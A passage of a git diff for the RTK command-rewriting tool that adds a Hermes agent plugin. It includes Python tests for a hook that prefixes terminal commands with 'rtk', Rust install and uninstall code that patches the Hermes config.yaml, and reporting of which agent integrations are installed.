stderr.getvalue(), + ) + + def test_check_rtk_found_is_quiet(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + + with mock.patch.object(module.shutil, "which", return_value="/usr/bin/rtk"): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + self.assertTrue(module._check_rtk()) + + self.assertEqual("", stderr.getvalue()) + + def test_check_rtk_caches_result_across_calls(self): + module = load_plugin_module() + module._rtk_available = None + module._rtk_missing_warned = False + + with mock.patch.object(module.shutil, "which", return_value="/usr/bin/rtk") as which: + self.assertTrue(module._check_rtk()) + self.assertTrue(module._check_rtk()) + + which.assert_called_once_with("rtk") + + def test_rewrite_success_mutates_same_terminal_args_dict(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(stdout="rtk git status\n"), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + def test_rewrite_returncode_three_mutates_same_terminal_args_dict(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(returncode=3, stdout="rtk git status\n"), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + def test_rewrite_returncode_zero_mutates_when_rewrite_changes_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(stdout="rtk git status\n"), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + def test_expected_passthrough_returncodes_do_not_warn_or_mutate(self): + for returncode in (1, 2): + with self.subTest(returncode=returncode): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess( + returncode=returncode, + stdout="rtk git status\n", + stderr="unexpected stderr", + ), + ): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("", stderr.getvalue()) + + def test_unexpected_returncode_warns_with_stderr_details(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(returncode=4, stdout="rtk git status\n", stderr="bad news"), + ): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("rtk: hermes plugin warning: rtk rewrite failed with exit 4: bad news\n", stderr.getvalue()) + + def test_rewrite_timeout_warns_and_preserves_original_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + timeout = subprocess.TimeoutExpired(cmd=["rtk", "rewrite", "git status"], timeout=2) + with mock.patch.object(module.subprocess, "run", side_effect=timeout): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("rtk: hermes plugin warning: rtk rewrite timed out\n", stderr.getvalue()) + + def test_file_not_found_preserves_original_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object(module.subprocess, "run", side_effect=FileNotFoundError): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertIn("rtk: hermes plugin warning:", stderr.getvalue()) + + def test_unexpected_exception_prints_warning_and_keeps_command(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object(module.subprocess, "run", side_effect=RuntimeError("boom")): + with mock.patch.object(module.sys, "stderr", new_callable=io.StringIO) as stderr: + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + self.assertEqual("rtk: hermes plugin warning: boom\n", stderr.getvalue()) + + def test_non_terminal_tool_is_noop(self): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="read_file", args=args) + + run.assert_not_called() + self.assertEqual({"command": "git status"}, args) + + def test_missing_command_is_noop(self): + module, callback = self.load_callback() + args = {} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="terminal", args=args) + + run.assert_not_called() + self.assertEqual({}, args) + + def test_non_string_command_is_noop(self): + module, callback = self.load_callback() + args = {"command": ["git", "status"]} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="terminal", args=args) + + run.assert_not_called() + self.assertEqual({"command": ["git", "status"]}, args) + + def test_empty_command_strings_are_noop(self): + for command in ("", " ", "\t\n"): + with self.subTest(command=command): + module, callback = self.load_callback() + args = {"command": command} + + with mock.patch.object(module.subprocess, "run") as run: + callback(tool_name="terminal", args=args) + + run.assert_not_called() + self.assertEqual({"command": command}, args) + + def test_empty_or_unchanged_rewrite_output_preserves_original_command(self): + for stdout in ("", "\n", "git status\n"): + with self.subTest(stdout=stdout): + module, callback = self.load_callback() + args = {"command": "git status"} + + with mock.patch.object( + module.subprocess, + "run", + return_value=FakeCompletedProcess(stdout=stdout), + ): + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "git status"}, args) + + +class InstalledRtkRewritePluginTest(unittest.TestCase): + @unittest.skipUnless(shutil.which("cargo"), "cargo is required for installed flow") + def test_cargo_init_installs_importable_plugin_that_rewrites_with_fake_rtk(self): + repo_root = Path(__file__).resolve().parents[3] + self.assertTrue((repo_root / "Cargo.toml").exists(), "repo_root must point at the repository root") + real_home = Path(os.path.expanduser("~")) + + with tempfile.TemporaryDirectory() as home, tempfile.TemporaryDirectory() as bin_dir: + home_path = Path(home) + fake_bin = Path(bin_dir) + write_fake_rtk(fake_bin) + + env = os.environ.copy() + env["HOME"] = str(home_path) + env["PATH"] = str(fake_bin) + os.pathsep + env.get("PATH", "") + env["RTK_TELEMETRY_DISABLED"] = "1" + env["CARGO_TERM_COLOR"] = "never" + env.setdefault("RUSTUP_TOOLCHAIN", "stable") + if "RUSTUP_HOME" not in env and (real_home / ".rustup").exists(): + env["RUSTUP_HOME"] = str(real_home / ".rustup") + if "CARGO_HOME" not in env and (real_home / ".cargo").exists(): + env["CARGO_HOME"] = str(real_home / ".cargo") + env.pop("RTK_CLAUDE_DIR", None) + + result = subprocess.run( + ["cargo", "run", "--quiet", "--", "init", "--agent", "hermes"], + cwd=repo_root, + env=env, + capture_output=True, + text=True, + timeout=300, + ) + + self.assertEqual( + 0, + result.returncode, + msg=f"stdout:\n{result.stdout}\nstderr:\n{result.stderr}", + ) + + plugin_dir = home_path / ".hermes" / "plugins" / "rtk-rewrite" + init_path = plugin_dir / "__init__.py" + manifest_path = plugin_dir / "plugin.yaml" + self.assertTrue(init_path.exists(), "installed plugin __init__.py must exist") + self.assertTrue(manifest_path.exists(), "installed plugin.yaml must exist") + + module = load_plugin_module(init_path, "installed_rtk_rewrite_plugin") + ctx = FakeContext() + with mock.patch.dict(os.environ, {"PATH": env["PATH"]}): + module.register(ctx) + callback = ctx.hooks["pre_tool_call"] + + args = {"command": "git status"} + callback(tool_name="terminal", args=args) + + self.assertEqual({"command": "rtk git status"}, args) + + +if __name__ == "__main__": + unittest.main() diff --git a/src/discover/mod.rs b/src/discover/mod.rs index 36861406ba..98d3eae765 100644 --- a/src/discover/mod.rs +++ b/src/discover/mod.rs @@ -263,6 +263,7 @@ pub fn run( parse_errors, rtk_disabled_count, rtk_disabled_examples, + agent_status: report::AgentIntegrationStatus::detect(), }; match format { diff --git a/src/discover/provider.rs b/src/discover/provider.rs index 08b4ddc8f6..ee76c7a169 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -45,47 +45,25 @@ impl ClaudeProvider { /// Get the base directory for Claude Code projects. fn projects_dir() -> Result { let home = dirs::home_dir().context("could not determine home directory")?; - let dir = home.join(CLAUDE_DIR).join("projects"); - if !dir.exists() { - anyhow::bail!( - "Claude Code projects directory not found: {}\nMake sure Claude Code has been used at least once.", - dir.display() - ); - } - Ok(dir) + Ok(Self::projects_dir_for_home(&home)) } - /// Encode a filesystem path to Claude Code's directory name format. - /// - /// Claude Code replaces `/`, `.`, `_`, `\`, and any non-ASCII character - /// with `-` when computing the project directory slug under `~/.claude/projects/`. - /// - /// `/Users/foo/bar` → `-Users-foo-bar` - /// `/Users/first.last/bar` → `-Users-first-last-bar` - /// `/home/chris/2_project` → `-home-chris-2-project` - /// `C:\Users\foo\bar` → `C:-Users-foo-bar` - pub fn encode_project_path(path: &str) -> String { - const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; - - path.chars() - .map(|c| { - if !c.is_ascii() || SANITIZED_CHARS.contains(&c) { - '-' - } else { - c - } - }) - .collect() + fn projects_dir_for_home(home: &Path) -> PathBuf { + home.join(CLAUDE_DIR).join("projects") } -} -impl SessionProvider for ClaudeProvider { - fn discover_sessions( - &self, + fn discover_sessions_in_projects_dir( + projects_dir: &Path, project_filter: Option<&str>, since_days: Option, ) -> Result> { - let projects_dir = Self::projects_dir()?; + if !projects_dir + .try_exists() + .with_context(|| format!("failed to access {}", projects_dir.display()))? + { + return Ok(Vec::new()); + } + let cutoff = since_days.map(|days| { SystemTime::now() .checked_sub(Duration::from_secs(days * 86400)) @@ -95,7 +73,7 @@ impl SessionProvider for ClaudeProvider { let mut sessions = Vec::new(); // List project directories - let entries = fs::read_dir(&projects_dir) + let entries = fs::read_dir(projects_dir) .with_context(|| format!("failed to read {}", projects_dir.display()))?; for entry in entries.flatten() { @@ -141,6 +119,40 @@ impl SessionProvider for ClaudeProvider { Ok(sessions) } + /// Encode a filesystem path to Claude Code's directory name format. + /// + /// Claude Code replaces `/`, `.`, `_`, `\`, and any non-ASCII character + /// with `-` when computing the project directory slug under `~/.claude/projects/`. + /// + /// `/Users/foo/bar` → `-Users-foo-bar` + /// `/Users/first.last/bar` → `-Users-first-last-bar` + /// `/home/chris/2_project` → `-home-chris-2-project` + /// `C:\Users\foo\bar` → `C:-Users-foo-bar` + pub fn encode_project_path(path: &str) -> String { + const SANITIZED_CHARS: &[char] = &['/', '.', '_', '\\']; + + path.chars() + .map(|c| { + if !c.is_ascii() || SANITIZED_CHARS.contains(&c) { + '-' + } else { + c + } + }) + .collect() + } +} + +impl SessionProvider for ClaudeProvider { + fn discover_sessions( + &self, + project_filter: Option<&str>, + since_days: Option, + ) -> Result> { + let projects_dir = Self::projects_dir()?; + Self::discover_sessions_in_projects_dir(&projects_dir, project_filter, since_days) + } + fn extract_commands(&self, path: &Path) -> Result> { let file = fs::File::open(path).with_context(|| format!("failed to open {}", path.display()))?; @@ -409,6 +421,56 @@ mod tests { assert!(encoded.contains("Sites")); } + #[test] + fn test_discover_sessions_missing_projects_dir_returns_empty() { + let temp_home = tempfile::tempdir().unwrap(); + let missing_projects_dir = temp_home.path().join(CLAUDE_DIR).join("projects"); + + let sessions = ClaudeProvider::discover_sessions_in_projects_dir( + &missing_projects_dir, + None, + Some(30), + ) + .unwrap(); + + assert!(sessions.is_empty()); + } + + #[test] + fn test_discover_sessions_applies_project_filter() { + let projects_dir = tempfile::tempdir().unwrap(); + let matching_project = projects_dir.path().join("-Users-test-rtk"); + let other_project = projects_dir.path().join("-Users-test-other"); + std::fs::create_dir_all(&matching_project).unwrap(); + std::fs::create_dir_all(&other_project).unwrap(); + std::fs::write(matching_project.join("matching.jsonl"), "").unwrap(); + std::fs::write(other_project.join("other.jsonl"), "").unwrap(); + + let sessions = ClaudeProvider::discover_sessions_in_projects_dir( + projects_dir.path(), + Some("rtk"), + None, + ) + .unwrap(); + + assert_eq!(sessions.len(), 1); + assert_eq!( + sessions[0].file_name().and_then(|name| name.to_str()), + Some("matching.jsonl") + ); + } + + #[test] + fn test_discover_sessions_existing_non_directory_returns_error() { + let projects_file = tempfile::NamedTempFile::new().unwrap(); + + let err = + ClaudeProvider::discover_sessions_in_projects_dir(projects_file.path(), None, None) + .unwrap_err(); + + assert!(err.to_string().contains("failed to read")); + } + #[test] fn test_extract_output_content() { let jsonl = make_jsonl(&[ diff --git a/src/discover/report.rs b/src/discover/report.rs index 2af129a5c3..c2c523e246 100644 --- a/src/discover/report.rs +++ b/src/discover/report.rs @@ -1,7 +1,11 @@ //! Data types for reporting which commands RTK can and cannot optimize. -use crate::hooks::constants::{CURSOR_DIR, HOOKS_SUBDIR, REWRITE_HOOK_FILE}; +use crate::hooks::constants::{ + CURSOR_DIR, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, + HOOKS_SUBDIR, REWRITE_HOOK_FILE, +}; use serde::Serialize; +use std::path::Path; /// RTK support status for a command. #[derive(Debug, Serialize, Clone, Copy, PartialEq, Eq)] @@ -44,6 +48,36 @@ pub struct UnsupportedEntry { pub example: String, } +#[derive(Debug, Serialize, Clone, Copy, PartialEq, Eq, Default)] +pub struct AgentIntegrationStatus { + pub cursor_hook_installed: bool, + pub hermes_plugin_installed: bool, +} + +impl AgentIntegrationStatus { + pub fn detect() -> Self { + dirs::home_dir() + .map(|home| Self::detect_from_home(&home)) + .unwrap_or_default() + } + + fn detect_from_home(home: &Path) -> Self { + Self { + cursor_hook_installed: home + .join(CURSOR_DIR) + .join(HOOKS_SUBDIR) + .join(REWRITE_HOOK_FILE) + .exists(), + hermes_plugin_installed: home + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE) + .is_file(), + } + } +} + /// Full discover report. #[derive(Debug, Serialize)] pub struct DiscoverReport { @@ -56,6 +90,7 @@ pub struct DiscoverReport { pub parse_errors: usize, pub rtk_disabled_count: usize, pub rtk_disabled_examples: Vec, + pub agent_status: AgentIntegrationStatus, } impl DiscoverReport { @@ -94,6 +129,7 @@ pub fn format_text(report: &DiscoverReport, limit: usize, verbose: bool) -> Stri if report.supported.is_empty() && report.unsupported.is_empty() { out.push_str("\nNo missed savings found. RTK usage looks good!\n"); + append_agent_notes(&mut out, report.agent_status); return out; } @@ -168,16 +204,7 @@ pub fn format_text(report: &DiscoverReport, limit: usize, verbose: bool) -> Stri out.push_str("\n~estimated from tool_result output sizes\n"); - // Cursor note: check if Cursor hooks are installed - if let Some(home) = dirs::home_dir() { - let cursor_hook = home - .join(CURSOR_DIR) - .join(HOOKS_SUBDIR) - .join(REWRITE_HOOK_FILE); - if cursor_hook.exists() { - out.push_str("\nNote: Cursor sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); - } - } + append_agent_notes(&mut out, report.agent_status); if verbose && report.parse_errors > 0 { out.push_str(&format!("Parse errors skipped: {}\n", report.parse_errors)); @@ -186,6 +213,16 @@ pub fn format_text(report: &DiscoverReport, limit: usize, verbose: bool) -> Stri out } +fn append_agent_notes(out: &mut String, status: AgentIntegrationStatus) { + if status.cursor_hook_installed { + out.push_str("\nNote: Cursor sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } + + if status.hermes_plugin_installed { + out.push_str("\nNote: Hermes plugin is installed; Hermes sessions are tracked via `rtk gain` (discover scans Claude Code only)\n"); + } +} + /// Format report as JSON. pub fn format_json(report: &DiscoverReport) -> String { serde_json::to_string_pretty(report).unwrap_or_else(|_| "{}".to_string()) @@ -230,6 +267,7 @@ mod tests { parse_errors: 0, rtk_disabled_count: 0, rtk_disabled_examples: vec![], + agent_status: AgentIntegrationStatus::default(), } } @@ -267,4 +305,69 @@ mod tests { let output = format_text(&report, 10, false); assert!(output.contains("100.0%")); } + + #[test] + fn test_agent_status_detects_hermes_plugin_manifest() { + let temp_home = tempfile::tempdir().unwrap(); + let manifest = temp_home + .path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE); + std::fs::create_dir_all(manifest.parent().unwrap()).unwrap(); + std::fs::write(&manifest, "name: rtk-rewrite\n").unwrap(); + + let status = AgentIntegrationStatus::detect_from_home(temp_home.path()); + + assert!(status.hermes_plugin_installed); + assert!(!status.cursor_hook_installed); + } + + #[test] + fn test_agent_status_ignores_hermes_plugin_dir_without_manifest() { + let temp_home = tempfile::tempdir().unwrap(); + let plugin_dir = temp_home + .path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME); + std::fs::create_dir_all(plugin_dir).unwrap(); + + let status = AgentIntegrationStatus::detect_from_home(temp_home.path()); + + assert!(!status.hermes_plugin_installed); + } + + #[test] + fn test_format_text_reports_hermes_plugin_detected() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + hermes_plugin_installed: true, + ..AgentIntegrationStatus::default() + }; + + let output = format_text(&report, 10, false); + + assert!( + output.contains("Hermes plugin is installed"), + "Expected Hermes installed note in output but got:\n{}", + output + ); + } + + #[test] + fn test_format_json_includes_agent_status() { + let mut report = make_report(0, 0); + report.agent_status = AgentIntegrationStatus { + cursor_hook_installed: true, + hermes_plugin_installed: true, + }; + + let output = format_json(&report); + let json: serde_json::Value = serde_json::from_str(&output).unwrap(); + + assert_eq!(json["agent_status"]["cursor_hook_installed"], true); + assert_eq!(json["agent_status"]["hermes_plugin_installed"], true); + } } diff --git a/src/hooks/README.md b/src/hooks/README.md index bf947a0f15..01a0213cb5 100644 --- a/src/hooks/README.md +++ b/src/hooks/README.md @@ -19,7 +19,7 @@ LLM agent integration layer that installs, validates, and executes command-rewri ## Installation Modes -`rtk init` supports 6 distinct installation flows: +`rtk init` supports these installation flows: | Mode | Command | Creates | Patches | |------|---------|---------|---------| @@ -30,6 +30,7 @@ LLM agent integration layer that installs, validates, and executes command-rewri | Cline | `rtk init --agent cline` | `.clinerules` | -- | | Codex | `rtk init --codex` | RTK.md in `$CODEX_HOME` or `~/.codex` | AGENTS.md | | Cursor | `rtk init -g --agent cursor` | Cursor hook | hooks.json | +| Hermes | `rtk init --agent hermes` | Python plugin in `~/.hermes/plugins/rtk-rewrite/` | `config.yaml` `plugins.enabled` | ## Integrity Verification diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index 1d9f33ccd8..85340510c8 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -21,3 +21,8 @@ pub const OPENCODE_PLUGIN_FILE: &str = "rtk.ts"; pub const CURSOR_DIR: &str = ".cursor"; pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; +pub const HERMES_DIR: &str = ".hermes"; +pub const HERMES_PLUGINS_SUBDIR: &str = "plugins"; +pub const HERMES_PLUGIN_NAME: &str = "rtk-rewrite"; +pub const HERMES_PLUGIN_INIT_FILE: &str = "__init__.py"; +pub const HERMES_PLUGIN_MANIFEST_FILE: &str = "plugin.yaml"; diff --git a/src/hooks/hook_check.rs b/src/hooks/hook_check.rs index ce288ba99e..4dd26d82b8 100644 --- a/src/hooks/hook_check.rs +++ b/src/hooks/hook_check.rs @@ -155,8 +155,9 @@ fn warn_marker_path() -> Option { mod tests { use super::*; use crate::hooks::constants::{ - CODEX_DIR, CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, GEMINI_HOOK_FILE, OPENCODE_PLUGIN_FILE, - OPENCODE_SUBDIR, PLUGIN_SUBDIR, + CODEX_DIR, CONFIG_DIR, CURSOR_DIR, GEMINI_DIR, GEMINI_HOOK_FILE, HERMES_DIR, + HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, + OPENCODE_PLUGIN_FILE, OPENCODE_SUBDIR, PLUGIN_SUBDIR, }; fn other_integration_installed(home: &std::path::Path) -> bool { @@ -172,6 +173,10 @@ mod tests { home.join(GEMINI_DIR) .join(HOOKS_SUBDIR) .join(GEMINI_HOOK_FILE), + home.join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE), ]; paths.iter().any(|p| p.exists()) } @@ -265,12 +270,33 @@ mod tests { assert!(other_integration_installed(tmp.path())); } + #[test] + fn test_other_integration_hermes() { + let tmp = tempfile::tempdir().expect("tempdir"); + let path = tmp + .path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) + .join(HERMES_PLUGIN_MANIFEST_FILE); + std::fs::create_dir_all(path.parent().unwrap()).unwrap(); + std::fs::write(&path, b"plugin").unwrap(); + assert!(other_integration_installed(tmp.path())); + } + #[test] fn test_other_integration_empty_dirs_not_enough() { let tmp = tempfile::tempdir().expect("tempdir"); std::fs::create_dir_all(tmp.path().join(CURSOR_DIR).join(HOOKS_SUBDIR)).unwrap(); std::fs::create_dir_all(tmp.path().join(CODEX_DIR)).unwrap(); std::fs::create_dir_all(tmp.path().join(GEMINI_DIR)).unwrap(); + std::fs::create_dir_all( + tmp.path() + .join(HERMES_DIR) + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME), + ) + .unwrap(); assert!(!other_integration_installed(tmp.path())); } diff --git a/src/hooks/init.rs b/src/hooks/init.rs index eaa3ec7e75..21da7c7485 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -1,6 +1,7 @@ //! Sets up RTK hooks so AI coding agents automatically route commands through RTK. use anyhow::{Context, Result}; +use std::ffi::OsString; use std::fs; use std::io::Write; use std::path::{Path, PathBuf}; @@ -12,7 +13,9 @@ use crate::hooks::constants::{ use super::constants::{ BEFORE_TOOL_KEY, CLAUDE_DIR, CLAUDE_HOOK_COMMAND, CODEX_DIR, CURSOR_HOOK_COMMAND, - GEMINI_HOOK_FILE, HOOKS_JSON, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, + GEMINI_HOOK_FILE, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_INIT_FILE, + HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, + REWRITE_HOOK_FILE, SETTINGS_JSON, }; use super::integrity; @@ -1782,6 +1785,505 @@ fn run_antigravity_mode_at(base_dir: &Path, ctx: InitContext) -> Result<()> { Ok(()) } +// ─── Hermes support ──────────────────────────────────────────── + +const HERMES_PLUGIN_INIT: &str = include_str!("../../hooks/hermes/rtk-rewrite/__init__.py"); +const HERMES_PLUGIN_YAML: &str = include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml"); + +pub fn run_hermes_mode(ctx: InitContext) -> Result<()> { + let hermes_home = resolve_hermes_home()?; + run_hermes_mode_at(&hermes_home, ctx) +} + +fn hermes_plugin_dir(hermes_home: &Path) -> PathBuf { + hermes_home + .join(HERMES_PLUGINS_SUBDIR) + .join(HERMES_PLUGIN_NAME) +} + +fn run_hermes_mode_at(hermes_home: &Path, ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let plugin_dir = hermes_plugin_dir(hermes_home); + if !dry_run { + fs::create_dir_all(&plugin_dir).with_context(|| { + format!( + "Failed to create Hermes plugin directory: {}", + plugin_dir.display() + ) + })?; + } + + let init_path = plugin_dir.join(HERMES_PLUGIN_INIT_FILE); + let manifest_path = plugin_dir.join(HERMES_PLUGIN_MANIFEST_FILE); + write_if_changed(&init_path, HERMES_PLUGIN_INIT, "Hermes plugin", ctx)?; + write_if_changed( + &manifest_path, + HERMES_PLUGIN_YAML, + "Hermes plugin manifest", + ctx, + )?; + + let config_path = hermes_home.join("config.yaml"); + let existing_config = if config_path.exists() { + fs::read_to_string(&config_path) + .with_context(|| format!("Failed to read Hermes config: {}", config_path.display()))? + } else { + String::new() + }; + let patched_config = patch_hermes_config(&existing_config); + write_if_changed(&config_path, &patched_config, "Hermes config", ctx)?; + + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRTK configured for Hermes.\n"); + println!(" Plugin: {}", plugin_dir.display()); + println!(" Config: {}", config_path.display()); + println!(" Hermes will now rewrite terminal commands through rtk."); + println!(" Restart Hermes. Test with: git status\n"); + } + + Ok(()) +} + +pub fn uninstall_hermes(ctx: InitContext) -> Result<()> { + let InitContext { dry_run, .. } = ctx; + let hermes_home = resolve_hermes_home()?; + let removed = uninstall_hermes_at(&hermes_home, ctx)?; + + if removed.is_empty() { + println!("RTK Hermes support was not installed (nothing to remove)"); + } else { + let header = if dry_run { + "[dry-run] would uninstall RTK for Hermes CLI:" + } else { + "RTK uninstalled for Hermes CLI:" + }; + println!("{}", header); + for item in removed { + println!(" - {}", item); + } + } + + if dry_run { + print_dry_run_footer(); + } + + Ok(()) +} + +fn uninstall_hermes_at(hermes_home: &Path, ctx: InitContext) -> Result> { + let InitContext { verbose, dry_run } = ctx; + let mut removed = Vec::new(); + + let plugin_dir = hermes_plugin_dir(hermes_home); + if plugin_dir.exists() { + if dry_run { + println!( + "[dry-run] would remove Hermes plugin directory: {}", + plugin_dir.display() + ); + } else { + // nosemgrep: filesystem-deletion -- uninstall intentionally removes only RTK's Hermes plugin directory. + fs::remove_dir_all(&plugin_dir).with_context(|| { + format!( + "Failed to remove Hermes plugin directory: {}", + plugin_dir.display() + ) + })?; + if verbose > 0 { + eprintln!("Removed Hermes plugin directory: {}", plugin_dir.display()); + } + } + removed.push(format!("Hermes plugin: {}", plugin_dir.display())); + } + + let config_path = hermes_home.join("config.yaml"); + if config_path.exists() { + let existing_config = fs::read_to_string(&config_path) + .with_context(|| format!("Failed to read Hermes config: {}", config_path.display()))?; + let patched_config = unpatch_hermes_config(&existing_config); + + if patched_config != existing_config { + if dry_run { + println!( + "[dry-run] would update Hermes config: {}", + config_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", patched_config); + } + } else { + atomic_write(&config_path, &patched_config).with_context(|| { + format!("Failed to write Hermes config: {}", config_path.display()) + })?; + if verbose > 0 { + eprintln!("Updated Hermes config: {}", config_path.display()); + } + } + removed.push("Hermes config: removed RTK plugin entry".to_string()); + } + } + + Ok(removed) +} + +fn patch_hermes_config(existing: &str) -> String { + rewrite_hermes_config(existing, true) +} + +fn unpatch_hermes_config(existing: &str) -> String { + rewrite_hermes_config(existing, false) +} + +fn rewrite_hermes_config(existing: &str, add_rtk: bool) -> String { + if existing.trim().is_empty() { + return if add_rtk { + hermes_plugins_block() + } else { + String::new() + }; + } + + let mut lines = split_yaml_lines(existing); + let Some(plugins_idx) = find_yaml_key_line(&lines, "plugins", 0, None) else { + return if add_rtk { + append_hermes_plugins_block(existing) + } else { + existing.to_string() + }; + }; + + let plugins_indent = yaml_indent(&lines[plugins_idx]); + let plugins_end = yaml_block_end(&lines, plugins_idx, plugins_indent); + let Some(enabled_idx) = find_yaml_key_line( + &lines, + "enabled", + plugins_idx + 1, + Some((plugins_end, plugins_indent)), + ) else { + if add_rtk { + let (enabled_indent, item_indent) = + hermes_missing_enabled_indents(&lines, plugins_idx, plugins_end, plugins_indent); + let enabled_block = format!( + "{}enabled:\n{}- {}\n", + " ".repeat(enabled_indent), + " ".repeat(item_indent), + HERMES_PLUGIN_NAME + ); + ensure_previous_yaml_line_ends_with_newline(&mut lines, plugins_end); + lines.insert(plugins_end, enabled_block); + } + return lines.concat(); + }; + + if yaml_line_without_ending(&lines[enabled_idx]).contains('[') { + rewrite_inline_hermes_enabled(&mut lines, enabled_idx, add_rtk); + return lines.concat(); + } + + rewrite_block_hermes_enabled(&mut lines, enabled_idx, add_rtk); + lines.concat() +} + +fn split_yaml_lines(input: &str) -> Vec { + if input.is_empty() { + Vec::new() + } else { + input.split_inclusive('\n').map(str::to_string).collect() + } +} + +fn ensure_previous_yaml_line_ends_with_newline(lines: &mut [String], insert_idx: usize) { + if insert_idx == 0 { + return; + } + + if let Some(previous) = lines.get_mut(insert_idx - 1) { + if !previous.ends_with('\n') { + previous.push('\n'); + } + } +} + +fn hermes_plugins_block() -> String { + format!("plugins:\n enabled:\n - {}\n", HERMES_PLUGIN_NAME) +} + +fn append_hermes_plugins_block(existing: &str) -> String { + let mut patched = existing.to_string(); + if !patched.ends_with('\n') { + patched.push('\n'); + } + patched.push_str(&hermes_plugins_block()); + patched +} + +fn find_yaml_key_line( + lines: &[String], + key: &str, + start: usize, + block: Option<(usize, usize)>, +) -> Option { + let end = block.map_or(lines.len(), |(end, _)| end); + let min_indent = block.map(|(_, indent)| indent); + + lines[start..end] + .iter() + .enumerate() + .find_map(|(offset, line)| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + if min_indent.is_some_and(|indent| yaml_indent(line) <= indent) { + return None; + } + + let is_key = trimmed == format!("{key}:") || trimmed.starts_with(&format!("{key}:")); + is_key.then_some(start + offset) + }) +} + +fn yaml_block_end(lines: &[String], start: usize, parent_indent: usize) -> usize { + lines[start + 1..] + .iter() + .enumerate() + .find_map(|(offset, line)| { + let raw = yaml_line_without_ending(line); + let trimmed = raw.trim(); + if trimmed.is_empty() || trimmed.starts_with('#') { + return None; + } + + (yaml_indent(line) <= parent_indent).then_some(start + 1 + offset) + }) + .unwrap_or(lines.len()) +} + +fn rewrite_inline_hermes_enabled(lines: &mut [String], enabled_idx: usize, add_rtk: bool) { + let line_ending = yaml_line_ending(&lines[enabled_idx]); + let raw = yaml_line_without_ending(&lines[enabled_idx]); + let Some((prefix, rest)) = raw.split_once('[') else { + return; + }; + let Some((items_raw, suffix)) = rest.rsplit_once(']') else { + return; + }; + + let mut items = Vec::new(); + let mut saw_rtk = false; + for item in items_raw.split(',') { + let trimmed = item.trim(); + if trimmed.is_empty() { + continue; + } + + if is_hermes_plugin_name(trimmed) { + if add_rtk && !saw_rtk { + 